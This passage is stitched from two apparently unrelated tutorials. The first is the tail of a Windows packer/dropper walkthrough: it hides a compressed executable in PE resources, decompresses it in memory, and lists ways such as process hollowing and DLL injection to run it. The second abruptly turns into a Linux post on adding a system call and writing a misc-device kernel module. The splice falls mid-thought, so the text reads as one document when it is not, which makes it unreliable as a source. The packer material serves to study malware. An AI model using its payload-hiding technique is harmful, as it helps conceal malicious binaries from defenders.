    HGLOBAL hResLoad;
    PUCHAR  Data;

    hRes = FindResourceA(NULL, "IDR_RCDATA0", RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);
}

It compiles:

x86_64-w64-mingw32-gcc depacker.c -o depacker.exe

But we have not yet linked our resource into this binary, so the lookup for IDR_RCDATA0 can only fail. In fact, there is no .rsrc section in the binary at all:

$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls

We fix that by linking the resource object file into the build:

$ x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe
$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
        Name:                            .rsrc

Now .rsrc is present, carrying our compressed hidden.exe. The unpacker can extract the resource into memory. What remains is to decompress it.

Decompressing in memory

To unpack the payload we need four things: the compressed data, the size of the compressed data, the size of the decompressed data (to allocate the output buffer), and a decompression function. We have the data and the function. The two sizes have to be supplied to the program; here we simply hard-code them.

We also need zlib for Windows. There is no need for a Windows machine to build it: we cross-compile it with mingw on Linux.

wget http://zlib.net/zlib-1.2.12.tar.gz
tar xf zlib-1.2.12.tar.gz
rm zlib-1.2.12.tar.gz
cd zlib-1.2.12

# Affect PREFIX = x86_64-w64-mingw32-
vim win32/Makefile.gcc

# Cross-Compilation of zlib via mingw
BINARY_PATH=/usr/x86_64-w64-mingw32/bin INCLUDE_PATH=/usr/x86_64-w64-mingw32/include LIBRARY_PATH=/usr/x86_64-w64-mingw32/lib make -f win32/Makefile.gcc

With zlib in hand, the final unpacker retrieves the resource and decompresses it in place:

#include <windows.h>
#include "zlib.h"

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    PUCHAR uncompressed;
    ULONG src_size = 89766; // Hard-coded size of compressed binary
    ULONG dst_size = 316853; // Hard-coded size of decompressed binary

    hRes = FindResourceA(NULL, "IDR_RCDATA0", RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);

    uncompressed = (PUCHAR)malloc(sizeof(char) * (dst_size + 1));
    uncompress(uncompressed, &dst_size, Data, src_size);
}

The uncompress() function mirrors the compress2() we used to pack the payload in the first place. We compile, pointing at our cross-compiled zlib with -L, -lz, and -I:

x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe -L./zlib-1.2.12/ -lz -I zlib-1.2.12/

The unpacker is complete: it locates the resource, extracts it, and decompresses the original hidden.exe back into memory. You can run it in a Windows environment to confirm.

Where the trail leads next

As written, the unpacker stops at “in memory”: it recovers the payload but never runs it. In a real sample that final step, getting the decompressed binary to execute, is the whole purpose, and it is called dropping (here, dropping from the resources), performed by a dropper. There are several ways to reach it: writing the payload to disk and launching it, mapping and running it directly in memory, DLL injection, process hollowing, and so on. Each of those is its own analysis problem.

Resource storage is also just one source among many. The same dropper pattern applies whether the hidden binary sits in the resources as it does here, in a separate section, split across several sections, or fetched over the network at runtime. The carrier changes; the shape of the technique does not. Recognise that shape, know where to look, and the payload stops hiding.

So how does a process ever get privileged work done? It asks. Every time you open a file, send a packet, or fork a process, your code crosses that boundary in a controlled way, runs some kernel code on your behalf, and comes back with a result. The interesting question for anyone who works close to the kernel is the inverse one: how do you extend the kernel so it offers new privileged entry points of your own?

There are two answers, and they sit at opposite ends of the same axis.

• A system call is a static entry point. You write a function in ring 0, bake it into the kernel image, recompile the whole kernel, and boot into it. From then on the call is part of the operating system, addressable by a fixed number.
• A kernel module is a dynamic entry point. You write ring 0 code, compile it on its own, and load it into a running kernel at runtime. No recompile, no reboot, and you can unload it just as easily.

In this post we build both, with real code, and we watch them converge. By the end, our module will hand itself its own user/kernel boundary in /dev and answer reads and writes from user-land, which is exactly what a system call does natively. Two mechanisms, one boundary crossing.

Path 1: the system call

A system call (like open, write, or read) is nothing more than a function, or a series of functions, running in ring 0. We call it a system call specifically because it can be invoked from ring 3. So our plan is straightforward: write a function in the kernel, register it in the syscall table, recompile, boot, and call it from user-land.

Our example will take a process ID and return a structure full of information about that process: its name, state, stack pointer, birth time, children, parent, root, and working directory. The body of the function is not the point. The point is the wiring that turns an ordinary C function into a system call.

Preparing the environment

To follow along you need a recent Linux kernel, the usual build tools (gcc, make), and a text editor. Because we are going to recompile the kernel and boot into it, do this on a virtual machine.

For this article we used an Ubuntu Server 20.04 VM with bridged networking, 4 GB of RAM, and SSH access. Any distribution and hypervisor will do, with minor differences from what is shown here.

Linux distributions ship kernel headers and object files but not the kernel source. Install it, unpack it, and step into the source tree. The version below is 5.4.0, which you can confirm with uname -r.

sudo apt install linux-source
cd /usr/src/linux-source-5.4.0
sudo bunzip2 linux-source-5.4.0.tar.bz2
sudo tar xf linux-source-5.4.0.tar
cd linux-source-5.4.0/

We only need a configuration to build against. Generate a minimal default one. A minimal config keeps both the build time and the resulting image small, which is all we want for this exercise.

sudo make defconfig

You will also need flex, bison, libelf-dev, and libssl-dev to compile the kernel later. Install them the usual way through APT.

The structure to return

We start with the header, infopid.h. It declares the structure we will fill in the kernel and copy back to user-land. The comments document each field.

#ifndef INFOPID_H
#define INFOPID_H

#include <linux/sched.h>
#include <linux/limits.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs_struct.h>
#include <linux/slab.h>

/*
 * pid: pid of process
 * name: name of the process
 * state: unrunnable, runnable, stopped
 * stack: pointer to the beginning of process's stack
 * age: birth time in nanoseconds
 * child: array of all child processes pid
 * ppid: parent process id
 * root: root path of process
 * pwd: working directory of process
 */

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

#endif

Writing the call

The function itself lives in infopid.c. Two details matter more than the rest. First, we define it with the SYSCALL_DEFINE2 macro, where the 2 is the number of parameters. The kernel provides one of these macros per arity, and they take arguments as alternating type/name pairs separated by commas, which is why the signature looks unusual. Second, we never write to the user pointer directly: we build the structure in kernel memory and hand it across the boundary with copy_to_user, which is the only safe way for ring 0 to write into a ring 3 buffer.

#include "infopid.h"
#include <linux/syscalls.h>

SYSCALL_DEFINE2(infopid, struct info_pid *, ret_pid, int, pid) {
    struct task_struct *cur, *child;
    struct info_pid *new;
    struct path root, pwd;
    struct pid *spid;
    char *tmp, buffer[PATH_MAX] = {0};
    int i = 0;

    if (!(spid = find_get_pid(pid)))
    {
        return -ESRCH;
    }

    cur = pid_task(spid, PIDTYPE_PID);

    if (!cur) {
        return -ESRCH;
    }

    new = kmalloc(sizeof(struct info_pid), GFP_KERNEL);

    if (!new)
        return -ENOMEM;

    memset(new->child, 0, 256 * sizeof(pid_t));
    get_fs_root(cur->fs, &root);
    get_fs_pwd(cur->fs, &pwd);    
    get_task_comm(new->name, cur);
    new->pid = task_pid_nr(cur);
    new->state = cur->state;
    new->stack = cur->stack;
    new->age = cur->start_time;

    list_for_each_entry(child, &cur->children, sibling) {
        if (i > 255)
            goto out;
        new->child[i++] = child->pid;
    }

out:
    new->ppid = task_pid_nr(cur->parent);
    spin_lock(&root.dentry->d_lock);
    tmp = dentry_path_raw(root.dentry, buffer, PATH_MAX);
    strcpy(new->root, tmp);
    spin_unlock(&root.dentry->d_lock);

    spin_lock(&pwd.dentry->d_lock);
    tmp = dentry_path_raw(pwd.dentry, buffer, PATH_MAX);
    strcpy(new->pwd, tmp);
    spin_unlock(&pwd.dentry->d_lock);

    if (copy_to_user(ret_pid, new, sizeof(struct info_pid))) {
        kfree(new);
        return -ESRCH;
    }

    kfree(new);

    return 0;
}

We look the process up by PID, allocate our structure with kmalloc, fill it from the task’s task_struct, walk the children list, resolve the root and working-directory paths under the appropriate locks, and copy the whole thing back to the caller. On any failure we return a negative errno, the convention every system call follows.

Registering it with the kernel

A function in a .c file is invisible to the kernel until three files in the source tree know about it. This is the static wiring that a module never needs.

First, tell the top-level kernel Makefile to compile our directory by appending it to core-y:

core-y += kernel/ certs/ mm/ fs/ ipc/ security/ crypto/ block/ infopid/

Then declare the prototype in include/linux/syscalls.h, alongside every other syscall prototype. Use your own absolute path to the header, not the one below:

/* Other declarations */
#include "/usr/src/linux-source-5.4.0/linux-source-5.4.0/infopid/infopid.h"
asmlinkage long sys_infopid(struct info_pid *, int);

Finally, give the call a number by adding it to the architecture’s syscall table, arch/x86/entry/syscalls/syscall_64.tbl. Place it last, with the next free index, following the existing nomenclature:

# Index  Arch  Name     Entrypoint
  335    64    infopid  __x64_sys_infopid

That number, 335, is the contract. It is how user-land will name the call, and it is frozen the moment we ship the kernel. Hold on to that thought, because it is the sharpest difference between this path and the next one.

Our directory holds three files at this point:

$ tree infopid/
infopid/
├── Makefile
├── infopid.c
└── infopid.h

0 directories, 3 files

Compiling and booting

With the call written and registered, build the entire kernel from the source root. Use -j <cores> to parallelise; this takes a while.

sudo make
sudo make modules_install
sudo make install

After installation, make sure you will actually boot the new kernel. In our case the new build was version 5.4.174, which GRUB ranks above the stock 5.4.0-105 and boots automatically. If yours does not, expose the GRUB menu by editing /etc/default/grub so you can pick the entry, then run sudo update-grub.

#GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=4

Reboot, and confirm you are on the new kernel:

$ uname -r
5.4.174

Calling it from user-land

There is no libc wrapper for a call we just invented, so we reach it through the generic syscall() function, passing our number 335 and the arguments. The program below fills our structure for a given PID (its own by default) and prints everything, walking up the parent chain recursively.

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <inttypes.h>
#include <stdlib.h>
#include <string.h>

#define TASK_COMM_LEN 16
#define PATH_MAX 4096

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

void print_parents(pid_t pid)
{
    struct info_pid new;
    static int index = 0;
    printf("\tParent %d : %d\n", index++, pid);

    if (!pid)
        return ;
    int ret = syscall(335, &new, pid);
    if (ret) {
        printf("syscall failed...\n");
        perror("");
        exit(EXIT_FAILURE);
    }
    print_parents(new.ppid);
}

int main(int ac, char **av)
{
    pid_t pid;
    struct info_pid new;
    memset(&new, 0, sizeof(new));
    new.age = 0;

    if (ac == 1)
        pid = getpid();
    else
        pid = atoi(av[1]);

    int ret = syscall(335, &new, pid);
    if (ret) {
        printf("syscall failed...\n");
        perror("");
        return EXIT_FAILURE;
    }

    printf("Printing struct info_pid...\n");

    printf("PID       : %d\n", new.pid);
    printf("Name      : %s\n", new.name);
    printf("State     : %ld\n", new.state);
    printf("Stack     : %p\n", new.stack);
    printf("Birthtime : %ld\n", new.age);

    for (int j = 0; j < 255; j++)
    {
        if (!new.child[j])
            break ;
        printf("\tChild %d  : %d\n", j, new.child[j]);
    }

    print_parents(new.ppid);

    printf("Root      : %s\n", new.root);
    printf("PWD       : %s\n", new.pwd);

    return EXIT_SUCCESS;
}

Compile and run it, once on itself and once on PID 1:

$ gcc test_infopid.c -o test_infopid
$ ./test_infopid # With its own PID by default

Printing struct info_pid...
PID       : 1354
Name      : test_infopid
State     : 0
Stack     : 0xffffb76ac0750000
Birthtime : 1203877852032
    Parent 0 : 776
    Parent 1 : 775
    Parent 2 : 656
    Parent 3 : 551
    Parent 4 : 1
    Parent 5 : 0
Root      : /
PWD       : /home/ech0

$ ./test_infopid 1 # With PID 1

Printing struct info_pid...
PID       : 1
Name      : systemd
State     : 1
Stack     : 0xffffb76ac0010000
Birthtime : 15000000
    Child 0  : 290
    Child 1  : 317
    Child 2  : 500
    Child 3  : 509
    Child 4  : 511
    ...
    Child 18  : 659
    Parent 0 : 0
Root      : /
PWD       : /

The call works. We extended the kernel with a new privileged entry point and reached it from ring 3 by number. The price was steep, though: a full kernel rebuild, a reboot, and a call number that is now fixed forever. That cost is the whole reason the second path exists.

Path 2: the kernel module

A module (a driver, in Windows terms) is a piece of ring 0 code that can be loaded into and unloaded from a running kernel on demand. Your system is already full of them. List them with lsmod:

$ lsmod
Module                  Size  Used by
rfcomm                 81920  4
cdc_mbim               20480  0
cdc_wdm                24576  1 cdc_mbim
cdc_ncm                45056  1 cdc_mbim
cdc_ether              20480  1 cdc_ncm
...

Touchpad, camera, microphone, KVM: all modules. Some of them also expose communication interfaces, often character devices under /dev, the way the KVM module exposes /dev/kvm. We are going to do the same: build a module, load it, and eventually talk to it through /dev.

Everything about this path contrasts with the previous one. No kernel recompile, no new boot, no editing of the source tree. Your default environment is already ready: if you can compile C, you can build a module.

A minimal module

A single file is enough to start:

$ tree my_module/
my_module/
└── my_module.c

0 directories, 1 file

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

static int __init hello_init(void) {
    printk(KERN_INFO "Hello World !\n");
    return 0;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
}

module_init(hello_init);
module_exit(hello_cleanup);

Reading top to bottom: we include the kernel headers we need; the MODULE_* macros attach metadata (license, author, description); two functions tagged __init and __exit run when the module is loaded and unloaded; and module_init / module_exit register them with the kernel. For now both functions just print to the kernel log with printk.

Notice there is no syscall table, no core-y, no prototype to declare. The module announces its own entry points to the kernel through module_init and module_exit, at load time, rather than being wired into the kernel image ahead of time.

Compiling and loading

Modules build against the running kernel’s headers, so the Makefile delegates to the kernel build system rather than calling gcc directly:

FILE := "my_module"
obj-m += my_module.o

all:
    echo "Compiling $(FILE)..."
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:  
    echo "Cleaning modules..."
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    rm -rf .$(FILE).ko.cmd .$(FILE).mod.o.cmd .$(FILE).o.cmd .cache.mk .tmp_versions $(FILE).ko $(FILE).o $(FILE).mod.c $(FILE).mod.o modules.order Module.symvers 2>&-

Build it:

make

The compilation drops several files in the directory. The one that matters is my_module.ko, the kernel object we load with insmod:

sudo insmod my_module.ko

dmesg shows the string our init function printed:

[309528.612844] Hello World !

Unload it with rmmod and watch the cleanup function fire:

$ sudo rmmod my_module
[309551.667600] Cleaning up module.

That is the entire load/unload lifecycle, and it took no reboot and no kernel rebuild. We could stop here. But a module that only writes to the log is not talking to user-land yet, and that is where this path catches up with the first one.

Closing the loop: a misc device

Our system call could be reached from user-land because the kernel exposed it through the syscall table. A module gets no such entry in the table. So we give it its own front door: a misc device, a simple character device that appears under /dev and routes reads and writes to functions we define. In other words, the module is about to build the same kind of user/kernel boundary that a syscall enjoys natively, only this time we build it by hand.

To keep the mechanism in focus, the behaviour stays trivial: a write stores exactly ten bytes in a static buffer, and a read returns them. It looks pointless, and it is exactly enough to expose every subtlety that matters.

Registering the device

We declare the device structure as a static global:

static struct miscdevice my_dev;

In hello_init we fill a few fields and register it. A dynamic minor number lets the kernel assign one for us:

my_dev.minor = MISC_DYNAMIC_MINOR; // a dynamic minor number is requested
my_dev.name = "my_module_misc"; // name of the misc device
my_dev.fops = &my_fops; // operations structure
ret = misc_register(&my_dev); // registering the misc device

The fops field points at a file_operations structure, which is the heart of the interface: it tells the kernel which function to call for each operation on the device. We wire up read and write:

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

And we deregister the device when the module unloads, in hello_cleanup:

misc_deregister(&my_dev);

This needs three more headers (miscdevice.h, uaccess.h, fs.h). The skeleton now looks like this, still missing the two operation functions:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/fs.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

static struct miscdevice my_dev;

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO "Hello World !\n");

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = "my_module_misc";
    my_dev.fops = &my_fops;
    ret = misc_register(&my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
    misc_deregister(&my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);

The write operation

static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO "I have successfully written %s in buffer.", buf);

    return LEN;
}

The prototype is fixed by the kernel: f is the file descriptor for the device, s is the user-land pointer to the data the caller wrote, n is how many bytes they offered, and o is the current offset into the file. We reject null pointers, insist on exactly LEN bytes, and then pull the data across the boundary with copy_from_user, the mirror image of the copy_to_user we used in the syscall. It copies LEN bytes from the user pointer s into our kernel buffer buf and returns zero on success.

The read operation

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o >= LEN)
        return 0;
    if (n > LEN)
        n = LEN;
    if (copy_to_user(s, &buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

The checks mirror the write path, with one addition that carries the whole design: the offset *o. When the reader has consumed everything, we must return 0 to signal end of data, and we decide that by comparing the offset against LEN. We also clamp n so a caller can never read past what we stored. Then we copy from buf[*o] (not from the start), advance the offset by the number of bytes sent, and return that count.

Why bother with the offset at all, rather than copying the whole string in one shot? Because cat is not the only reader. Run cat on the device and it requests a large page, far more than our ten bytes, so a single copy would satisfy it. But a program can issue read() directly, asking for two bytes at a time, and a real buffer could be larger than one page. If a caller asks for fewer bytes than we hold, the offset is what lets us resume from where the last read stopped. Chain enough read() calls and the caller recovers the entire buffer, no matter how small each request is.

Testing it

The final module, with LEN and the static buffer defined:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/fs.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

#define LEN 10

static struct miscdevice my_dev;
static char buf[LEN];

static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO "I have successfully written %s in buffer.", buf);

    return LEN;
}

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o >= LEN)
        return 0;
    if (n > LEN)
        n = LEN;
    if (copy_to_user(s, &buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO "Hello World !\n");

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = "my_module_misc";
    my_dev.fops = &my_fops;
    ret = misc_register(&my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
    misc_deregister(&my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);

Compile, load, grant write access to the device, and exercise it with ordinary shell tools:

make # compilation

sudo insmod my_module.ko # loading the module

sudo chmod o+w /dev/my_module_misc # writing rights

ls -l /dev/my_module_misc # verification

sudo echo -n "1234567890" > /dev/my_module_misc # writing 10 bytes in our buffer

dmesg # verification : [316644.720207] I have successfully written 1234567890 in buffer.

sudo cat /dev/my_module_misc # reading the buffer : 1234567890

echo writes ten bytes and cat reads them back. Now the part that justified the offset: a program that reads two bytes at a time.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main(void)
{
    char buf[10];
    int fd = open("/dev/my_module_misc", O_RDONLY);
    while (read(fd, buf, 2)) {
        buf[2] = 0;
        printf("%s\n", buf);
    }
}

$ gcc test.c -o test
$ sudo ./test
12
34
56
78
90

Five chained read() calls, two bytes each, and the whole buffer comes back in order. The offset did its job.

Two mechanisms, one boundary

We reached ring 0 from ring 3 twice, by two routes that could hardly be more different in how they get there, yet end at the same place: user-land code running our privileged code and getting a result back across the boundary.

The last two rows are the point. The syscall got its /dev-free front door for free, handed to it by the syscall table. The module had to build one, and once it did, the user/kernel transfer looked identical: the same copy_to_user and copy_from_user, the same careful byte accounting, the same negative-errno discipline. A misc device is a module reconstructing, by hand, the boundary crossing a system call is given.

That symmetry is also why both mechanisms are worth understanding for anyone working on the offensive or defensive side of a Linux system. The syscall table is a fixed, well-known target. Loadable modules are the canonical foothold for ring 0 persistence, and the copy_to_user / copy_from_user boundary is exactly where kernel code mishandles untrusted user input. Build both once, deliberately, and that attack surface stops being abstract.